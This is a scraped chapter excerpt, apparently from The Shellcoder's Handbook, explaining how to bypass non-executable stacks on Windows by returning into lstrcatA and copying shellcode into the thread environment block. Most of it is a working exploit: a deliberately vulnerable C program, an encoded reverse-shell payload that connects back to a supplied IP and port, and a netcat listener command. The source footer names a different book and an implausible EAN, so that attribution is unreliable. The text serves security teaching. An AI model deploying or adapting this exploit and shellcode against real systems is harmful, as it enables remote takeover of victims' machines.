Exploiting Buffer Overflows and Non-Executable Stacks

To help tackle the problem of stack-based buffer overflows, Sun Solaris has the ability to mark the stack as non-executable. In this way, an exploit that tries to run arbitrary code on the stack will fail. With x86-based processors, however, the stack cannot be marked as non-executable. Some products, however, will watch the stack of every running process, and if code is ever executed there, will terminate the process.

There are ways to defeat protected stacks in order to run arbitrary code. Put forward by Solar Designer, one method involves overwriting the saved return address with the address of the system() function, followed by a fake (from the system's perspective) return address, and then a pointer to the command you want to run. In this way, when ret is called, the flow of execution is redirected to the system() function with ESP currently pointing to the fake return address. As far as the system function is concerned , all is as it should be. Its first argument will be at ESP+4 where the pointer to the command can be found. David Litchfield wrote a paper about using this method on the Windows platform. However, we realized there might be a better way to exploit non-executable stacks. While researching further, we came across a post to Bugtraq by Rafal Wojtczuk ( http://community. core -sdi.com/~juliano/non- exec -stack-problems.html ) about a method that does the same thing. The method, which involves the use of string copies, has not yet been documented on the Windows platform, so we will do so now.

The problem with overwriting the saved return address with the address of system() is that system() is exported by msvcrt .dll on Windows, and the location of this DLL in memory can vary wildly from system to system (and even from process to process on the same system). What's more, by running a command, we don't have access to the Windows API, which gives us much less control over what we may want to do. A much better approach would be to copy our buffer to either the process heap or to some other area of writable/executable memory and then return there to execute it. This method will involve us overwriting the saved return address with the address of a string copy function. We won't choose strcpy () for the same reason that we wouldn't use system() strcpy() also is exported by msvcrt.dll . lstrcpy() , on the other hand, is notit is exported by kernel32.dll , which is guaranteed , at least, to have the same base address in every process on the same system. If there's a problem with using lstrcpy() (for example, its address contains a bad character such as 0x0A ), then we can fall back on lstrcat .

To which location do we copy our buffer? We could go for a location in a heap, but chances are we'll end up destroying the heap and choking the process. Enter the TEB. Each TEB has a 520-byte buffer that is used for ANSI-to-Unicode string conversions offset from the beginning of the TEB by 0xC00 bytes. The first running thread in a process has a TEB of 0x7FFDE000 locating this buffer at 0x7FFDEC00 . Functions such as GetModuleHandleA use this space for their string conversions. We could provide this location as the destination buffer to lstrcpy() , but because of the NULL at the end, we will, in practice, supply 0x7FFDEC04 . We then need to know the location of our buffer on the stack. Because this is the last value at the end of our string, even if the stack address is preceded with a NULL (e.g., 0x0012FFD0 ), then it doesn't matter. This NULL acts as our string terminator, which ties it up neatly. And last, rather than supply a fake return address, we need to set the address to where our shellcode has been copied , so that when lstrcpy returns, it does so into our buffer.

When the vulnerable function returns, the saved return address is taken from the stack. We've overwritten the real saved return address with the address of lstrcpy() , so that when the return executes we land at lstrcpy() . As far as lstrcpy() is concerned, ESP points to the saved return address. The program then skips over the saved return address to access its parametersthe source and destination buffers. It copies 0x0012FFD0 into 0x7FFDEC04 and keeps copying until it comes across the first NULL terminator, which will be found at the end (the bottom-right box in Figure 8.4). Once it has finished copying, lstrcpy returnsinto our new buffer and execution continues from there. Of course, the shellcode you supply must be less than 520 bytes, the size of the buffer, or you'll overflow, either into another TEBdepending on whether you've selected the first thread's TEBif you have, you'll overflow into the PEB. (We will discuss the possibilities of TEB/PEB-based overflows later.)

click to expand
Figure 8.4: The stack before and after overflows

Before looking at the code, we should think about the exploit. If the exploit uses any functions that will use this buffer for ANSI-to-Unicode conversions, then your code could be terminated . Don't worryso much of the space in the TEB is not used (or rather is not crucial) that we can simply use its space. For example, starting at 0x7FFDE1BC in the first thread's TEB is a nice block of NULL s.

Let's look now at some sample code. First, here's our vulnerable program:

 #include <stdio.h>     int foo(char *);         int main(int argc, char *argv[])     {             unsigned char buffer[520]="";             if(argc !=2)                     return printf("Please supply an argument!\n");             foo(argv[1]);             return 0;      }          int foo(char *input)      {             unsigned char buffer[600]="";             printf("%.8X\n",&buffer);             strcpy(buffer,input);             return 0;      } 

We have a stack-based buffer overflow condition in the foo() function. A call to strcpy uses the 600-byte buffer without first checking the length of the source buffer. When we overflow this program, we'll overwrite the saved return address with the address of lstrcatA .

Note 

lstrcpy has a 0x0A in it on WindowsXP Service Pack 1.

We then set the saved return address for when lstrcatA returns (this we'll set to our new buffer in the TEB). Finally, we need to set the destination buffer for lstrcatA (our TEB) and the source buffer, which is on the stack. All of this was compiled with Microsoft's Visual C++ 6.0 on Windows XP Service Pack 1. The exploit code we've written is portable Windows reverse shellcode. It runs against any version of Windows NT or later and uses the PEB to get the list of loaded modules. From there, it gets the base address of kernel32.dll then parses its PE header to get the address of GetProcAddress . Armed with this and the base address of kernel32.dll , we get the address of Load_LibraryA with these two functions, we can do pretty much what we want. Set netcat listening on a port with the following command:

 C:\>nc l p 53 

then run the exploit. You should get a reverse shell.

 #include <stdio.h>     #include <windows.h>          unsigned char exploit[510]=      "\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF"      "\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50"      "\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C"      "\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89"      "\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13"      "\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC"      "\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C"      "\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89"      "\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83"      "\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89"      "\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33"      "\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A"      "\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66"      "\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45"      "\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0"      "\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84"      "\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57"      "\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50"      "\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8"      "\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD"      "\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03"      "\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48"      "\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83"      "\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41"      "\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03"      "\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3"      "\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C"      "\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8"      "\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B"      "\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B"      "\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF"      "\xFF\xFF\xFF\xFF";          int main(int argc, char *argv[])      {             int cnt = 0;             unsigned char buffer[1000]="";                 if(argc !=3)                     return 0;                 StartWinsock();                 // Set the IP address and port in the exploit code             // If your IP address has a NULL in it then the             // string will be truncated.             SetUpExploit(argv[1],atoi(argv[2]));                 // name of the vulnerable program             strcpy(buffer,"nes ");             // copy exploit code to the buffer             strcat(buffer,exploit);                 // Pad out the buffer                 while(cnt < 25)             {                     strcat(buffer,"\x90\x90\x90\x90");                     cnt ++;             }                 strcat(buffer,"\x90\x90\x90\x90");                 // Here's where we overwrite the saved return address             // This is the address of lstrcatA on Windows XP SP 1             // 0x77E74B66             strcat(buffer,"\x66\x4B\xE7\x77");                 // Set the return address for lstrcatA             // this is where our code will be copied to             // in the TEB             strcat(buffer,"\xBC\xE1\xFD\x7F");                 // Set the destination buffer for lstrcatA             // This is in the TEB and we'll return to             // here.             strcat(buffer,"\xBC\xE1\xFD\x7F");                 // This is our source buffer. This is the address             // where we find our original buffer on the stack             strcat(buffer,"\x10\xFB\x12");                 // Now execute the vulnerable program!             WinExec(buffer,SW_MAXIMIZE);                 return 0;      }          int StartWinsock()      {             int err=0;             WORD wVersionRequested;             WSADATA wsaData;                 wVersionRequested = MAKEWORD(2, 0);             err = WSAStartup(wVersionRequested, &wsaData);             if (err != 0)                     return 0;             if (LOBYTE(wsaData.wVersion) != 2  HIBYTE(wsaData.wVersion) != 0)              {                     WSACleanup();                     return 0;             }             return 0;      }      int SetUpExploit(char *myip, int myport)      {             unsigned int ip=0;             unsigned short prt=0;             char *ipt="";             char *prtt="";                 ip = inet_addr(myip);                 ipt = (char*)&ip;             exploit[191]=ipt[0];             exploit[192]=ipt[1];             exploit[193]=ipt[2];             exploit[194]=ipt[3];                 // set the TCP port to connect on             // netcat should be listening on this port             // e.g. nc -l -p 53                 prt = htons((unsigned short)myport);             prt = prt ^ 0xFFFF;             prtt = (char *) &prt;             exploit[209]=prtt[0];             exploit[210]=prtt[1];                 return 0;      } 


The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net